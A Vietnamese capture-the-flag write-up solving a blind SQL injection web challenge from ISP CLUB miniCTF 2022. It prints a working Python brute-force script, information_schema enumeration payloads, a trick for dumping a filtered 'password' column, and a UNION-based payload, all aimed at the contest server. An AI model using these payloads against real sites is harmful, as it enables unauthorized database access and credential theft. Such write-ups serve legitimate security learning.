---
# System prepended metadata

title: 'ISP CLUB miniCTF 2022: WEB - SQli-Blind'

---

---
layout: post
title: "ISP CLUB miniCTF 2022: WEB - SQli-Blind"
---

## Challenge SQli-Blind
Nhìn ngay tên bài thì chúng ta có thể thấy ngay ý tác giả muốn mình hướng đến khai thác SQLi Blind. À thôi nói thế chứ tin nào được tác giả ...
OK bắt đầu nhé.
Đầu tiên vào link bài tác giả cung cấp
![](https://i.imgur.com/DDuc2WS.png)
![](https://i.imgur.com/pG2gh81.png)

Việc đầu tiên là làm một người dùng bình thường sử dụng trang web này, mình thử đăng kí một tài khoản xem thế nào.
![](https://i.imgur.com/P2sLiza.png)
Tuy nhiên chả có gì, và tác giả còn bảo "Dont xss" :)))

Bước tiếp theo, mình thử một vài inject sql đơn giản vào form login xem có điều gì đặc biệt không. Câu trả lời là không nốt :)))

Nếu bạn để ý kĩ một chút ở phần phía cuối trang, tác giả có để một hint robots.txt. Mình thì dùng dirsearch mới phát hiện ra :v
![](https://i.imgur.com/bdvLob5.png)

Nhận được một đường dẫn mới, vào còn được cung cấp thêm `information schema, columns , tables` ở trang mới này.

![](https://i.imgur.com/rCf0Nfx.png)

Một shop bán đồ, và lúc này việc khai thác mới thật sự bắt đầu.
Đoạn này mình xin lướt qua về cách làm, và tập trung vào cách viết payload.

![](https://i.imgur.com/cLJx6yi.png)
Dùng thử một vài tính năng thì mình thấy rằng việc tìm kiếm `?category=` có thể sql
`http://174.138.21.217:8008/brut3f0rc3/?category=women`
Kiểm tra xem nó có thực sự đúng như mình nghĩ không.
Mình thử `' or 1 = 1 -- -` và ok nó thành công.
![](https://i.imgur.com/RCkuevM.png)

Bắt tay ngay vào việc viết script vì nghĩ tác giả đã muốn mình làm hướng blind rồi :))

```python=
import requests
import string
import urllib.parse
string = string.ascii_letters + string.digits + "|,_"
flag = ""
url = "http://174.138.21.217:8008/brut3f0rc3/?category="
for i in range(1,500):
    print(i)
    for j in string:
        #payload = f"'or substr(database(),{i},1)='{j}' #"

        #payload = f"'or substr((select gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata),{i},1)='{j}' #"
        #|information_schema|,|performance_schema|,|CTFd22_blind|

        #payload = f"'or substr((select gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=database()),{i},1)='{j}' #"
        #|products|,|sqli_blind|

        #payload = f"'or substr((select gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name='sqli_blind'),{i},1)='{j}' #"
        #|password|,|username|

        payload = f"'or substr((select group_concat(b) from (select 1,2 as b union select * from `sqli_blind`)a),{i},1)='{j}' #"

        payload = urllib.parse.quote_plus(payload)
        r = requests.get(url = url + payload)
        if "int(11)" in r.text:
            flag += j
            print(flag)
            break
```

Lúc mới ra chall này thì tác giả cho sương sương mười mấy cái table :-1: 
Dump ra hết thì cũng khá mệt :) May thay đến hôm nay viết wu thì còn có 2 table.
Và đây là phần hay nhất của bài.
Sau khi mình nhận được kết quả có 2 cột `|password|,|username|` từ table `sqli_blind`
Đơn giản thì payload sẽ là 
```
select group_concat(password,username) from sqli_blind
```
Có phải các bạn cũng nghĩ vậy không. Nhưng không đơn giản.
Cùng thử nhé
![](https://i.imgur.com/VmQE9JW.png)
Như các bạn thấy, khi chúng ta truyền vào câu query sql `password` thì trang web sẽ trả về như trên ảnh. Nghĩa là chúng ta không thể sử dụng `password` để đưa vào query sql được. Rồi flag nằm trong `password` sẽ lấy như thế nào?
Mời các bạn đọc bài viết từ [blog](https://tsublogs.wordpress.com/2017/06/07/pentest-qa-cung-tsu-5-sql-injection-without-information_schema/) này để tìm hiểu xem cách có thể lấy cột `password` mà không cần gọi nó ra.

Cuối cùng mình có payloay này để dump 
```
f"'or substr((select group_concat(b) from (select 1,2 as b union select * from `sqli_blind`)a),{i},1)='{j}' #"
```
![](https://i.imgur.com/ci5SPIF.png)
Result trả về khá là dài, mình nhận thấy nó là dạng hex, mang vào cyberchef và nhận được flag
![](https://i.imgur.com/a8TYiUV.png)
`ISPCTF{Bl1nd_brut3f0rc3_01fg6}`

Trước khi kết thúc bài viết này. Mình xin nói thêm một chút về cách làm chính của mình(chứ chục table dump cũng lười lắm chứ :v). Từ hint một người anh của mình bảo không cần blind vẫn có thể làm ra (Nghĩa là lỗi sql hiện lỗi ra trên trang web). Cộng với việc được tác giả cung cấp có 4 cột, mình bắt tay ngay vào union select.
![](https://i.imgur.com/rJsY4sa.png)

```
'union select null,(select group_concat(b) from (select 1,2 as b union select * from sqli_blind)a),null,null #
```

Đây là lần đầu viết wu của mình. Văn hơi lủng củng mong các bạn thông cảm.
Cuối cùng xin cảm ơn tác giả và ISP Club đã tạo ra một cuộc thi ctf bổ ích <3 
